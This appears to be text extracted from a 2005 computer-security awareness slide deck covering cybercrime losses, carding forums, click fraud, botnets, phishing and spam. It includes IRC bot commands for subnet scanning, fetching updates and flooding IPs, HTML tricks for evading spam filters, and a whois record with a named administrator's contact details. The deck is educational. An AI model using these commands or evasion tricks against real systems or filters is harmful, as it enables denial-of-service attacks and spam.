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The Costs of ThreatsThe Costs of Threats

Sabotage
System Penetration

Web Site Defacement
Misuse of Public Web Application

Telecom Fraud
Unauthorized Access

Laptop Theft
Financial Fraud

Abuse of Wireless Network
Insider Net Abuse

Theft of Proprietary Info

0

$871,000
$901,500
$958,100

$2,747,000
$3,997,500

$4,278,205

$6,734,500

$7,670,500

$10,159,250

$10,601,055
$11,460,000 $26,064,050

5M 10M 20M 25M 30M

Denial of Service

2004 CSI/FBI Computer Crime and Security Survey
Source: Computer Security Institute 2004: 269 Respondents

Dollar Amount of Loss by Type of Attack (CSI/FBI 2004 Survey)

Losses from 269 
reported 
incidents
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Online Mafia: Online Mafia: ShadowcrewShadowcrew
! There are others: carderplanet, stealthdivision, and 

darkprofits, botfactory, muzzfuzz
! Social security numbers, passports, ids, credit cards, etc.

! 4000 members
! Admins, moderators, reviewers, vendors, end users

! 1.5M credit cards
! $4M in losses to customers and banks
! 30 arrested Oct 24, 2004
! US FTC - $52B in 2004 in goods and services 

purchased with fraudulently obtained personal 
identification
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Going ratesGoing rates
! US credit card + CVV = $2.11
! Non-US credit card + CVV = $2.64
! US credit card – no CVV = $0.53
! Non-US credit card – no CVV = $1.06
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Internet Fraud over the yearsInternet Fraud over the years

3%Fake checks

3%Adult 
services

5%Phishing

8%2%4%1%Nigerian 
scams

1%1%.4%3%2%Internet 
Access

20%5%5%10%7%Merchandise 
Sales

51%89%90%78%87%Auctions

20042003200220001999Type

Source: National Fraud Information Center – fraud.org
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Where are the fraudstersWhere are the fraudsters

26%4%3%Outside USA

5%5%6%Texas

8%8%8%Florida

8%9%9%New York

11%15%16%California

200420032002Where

Source: National Fraud Information Center – fraud.org
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Pay per click hijackingPay per click hijacking
! Starts with a DNS hijack
! Uses many page 

redirects
! Passes victim to places 

like Travelocity or 
Mercedes-Benz

! PPC is open to abuse 
via shady affiliates

! Findwhat.com earned 
$175M in 2004  

Source: LURHQ, April 2005
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ClickClick--Ad abuseAd abuse How much is a 
click worth?

$.18-$.25

• Advertising company 
pays Google
• Google splits revenue 
with click ad site hoster
• PPC firms remove large 
single IPs clicking
• Need to be more clever –
hence Indian clickers
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Who are some of the Mexican PPC players?Who are some of the Mexican PPC players?
! www.quepasa.com - $.03 bid
! www.TeRespondo.com - $.04 bid

! Bought by Yahoo last month What are 
advertisers 

willing to pay –
even up to $1.50 

per click!!
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What are What are botnetsbotnets used for?used for?
! DDOS
! Spamming
! Sniffing
! Keylogging
! Spreading malware
! Installing ads
! Google Adsense abuse
! Manipulating online games/polls
! Mass identity theft (phishing)

Current rate is 
about 10 cents per 

zombie
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16 year old 
hacker gets a 

watch and some 
jeans
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Iranian Hacker Video

How is your Farsi?

inetnum:      217.218.6.0 - 217.218.6.255
netname:      AGRI-BANK
descr:        Agricultural Bank of Iran
country:      IR
admin-c:      MA10779-RIPE
tech-c:       MA10779-RIPE
status:       ASSIGNED PA
mnt-by:       AS12880-MNT
source:       RIPE

person:       Majid Abbasi
address:      Computer department, Central building of Agricultural Bank
address:      3rd floor - 129,Patris Lomomba St. Jalal ale ahmad exp.
address:      Tehran - Iran
phone:        +98 21 8280032
fax-no:       +98 21 8251472
e-mail:       Admin@agri-bank.com
nic-hdl:      MA10779-RIPE
source:       RIPE
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mbehring

DDoS: The ProcedureDDoS: The Procedure

ISP CPE Target

“Zombies”
or “Bots”

Hacker

1. Cracking
2. Signalling

3. Flooding

Innocent
User PCs
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Zombies on 
innocent 
computers

Server-level DDoS attacks

Infrastructure-level DDoS 
attacks

Bandwidth-level DDoS 
attacks
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Attacker
! Sdbot
! Gtbot (global threat Bot –

Mirc)
! Eggdrop – oldest (1993)
! Attackbot
! Evilbot (backdoor IRC trojan)
! Litmusbot
! Rbot

Botcentral.org poll

Major goal: Masquerade the tool so it look like a valid file

Some known tools:
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Bot Bot command syntaxcommand syntax
! !scan 128.135.75.* 31337

! Scans entire /24 for possible infection

! !update http://botnet.update.us
! Tells all bots on the channel to get the latest update

! !pfast 50000 128.1.1.1 53
! UPD port flooder

! !packet 128.1.1.1 300000
! DDOS via ping.exe
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BBC Hacking VideoBBC Hacking Video
Thanks to 

CoCSoft Stream 
Down
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SIP phoneSIP phone
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Skype Skype –– the new frontierthe new frontier
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What is SPIT & SPIM?What is SPIT & SPIM?
! Spam over Internet Telephony
! Spam over Instant Messenger (SMS)
! Current spam economics – its cheap to send

! Only need 50 out of 1,000,000 to respond
! $500 per million emails sent

! Qovia has designed a system to send 1000 
VOIP spams per minute

! Are you ready to get 200 spam SMSs per 
day?



25Computer Security 2005Computer Security 2005



26Computer Security 2005Computer Security 2005

StenographyStenography
Guess Guess 
what is what is 
hidden in hidden in 
the next the next 
10 10 
seconds seconds 
and win a and win a 
BBQ BBQ 
apronapron……

Change 
brightness to 

13% and 
contrast to 

94%
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SCADASCADA
! Supervisory Control and Data Acquisition
! SCADA is used to control chemical plant 

processes, oil and gas pipelines, electrical 
generation and transmission equipment, 
manufacturing facilities, water purification 
and distribution infrastructure, etc.

! In 2000, in Maroochy Shire, Queensland, 
Vitek Boden released millions of liters of 
untreated sewage using a wireless laptop, 
apparently taking revenge against former 
employers. He was arrested, convicted and 
jailed
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New New Phishing Phishing TrendsTrends
! Pharming

! DNS redirection, DNS cache poisoning
! No need to click!

! Google Phishing
! Use search engines to drive traffic to 

counterfeit sites

! Blog Phishing
! Attract surfers to blogs which contain 

hostile code
! 210 active as of April 12 according to 

Websense
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PhishingPhishing

Source: www.antiphishing.org

64 brands 
hijacked in 

2/2005
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Where are all the Where are all the phishers phishers from?from?

Source: www.antiphishing.org

Avg 
hijacked 
site stays 

up 5.7 
days
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Real site
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Fake site –
easy to 

spot

Only using 
a similar 

name
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Fake site
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Real site
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What is my trick to spot a What is my trick to spot a phishphish??

• Change every single 
desktop appearance 
feature to some other 
font (Icon, Menu, 
Message Box, etc.)
• I use Tahoma size=8, 
bold
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SpammerSpammer trickstricks
! F<!-- xyz -->r<!-- abc -->e<!-- 123 -->e

! Po<font size=0>&nbsp;</font>rn

! &#86;&#105;&#97;&#103;&#114;&#97

The simplest –
comment HTML

Black-hole technique 
– zero size font

HTML entities –
mainly used to send 
special characters

Guess what it says Guess what it says -- 10 seconds 10 seconds ––
more BBQ aprons more BBQ aprons ……



38Computer Security 2005Computer Security 2005

More More spammerspammer trickstricks
<table border=0 cellpadding=0 cellspacing=0>

<tr valign=top>

<td><font face=Courier>V<br>s<br>F</font></td>

<td><font face=Courier>i<br>a<br>R</font></td>

<td><font face=Courier>a<br>m<br>E</font></td>

<td><font face=Courier>g<br>p<br>E</font></td>

<td><font face=Courier>r<br>l</font></td>

<td><font face=Courier>a<br>e</font></td>

<td><font face=Courier>&nbsp<br>s</font></td>

</tr>

</table>
Slice & Dice method 

– just like a paper 
shredder would do
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Proportion of email seen as Proportion of email seen as spamspam

Source: Messagelabs, Oct 2004

$$$ 
makes 

the 
world 

go 
around
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Proportion of emails carrying Proportion of emails carrying viriivirii

Source: Messagelabs, Oct 2004

Great – email virii 
threat is going down!  

Why?
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Mobile Mobile viriivirii

Source: Kaspersky Labs, Mar 2005

The kids are off to 
hack new realms 
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What one site is the #1 site used to What one site is the #1 site used to 
hack your site?hack your site?

10 seconds10 seconds……
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544 pages
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Lets see if we can 
find some SQL 
passwords in 

Mexico
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Always 
remember 

that 
everything 
is cached
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Who 
should we 
disconnect 

in Paris 
from the 
Internet 
today?
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LetLet’’s see if we can find any s see if we can find any 
Mexican passwords?Mexican passwords?
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A whole page of 
passwords to 
various online 
libraries 
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Security is about the weakest linkSecurity is about the weakest link


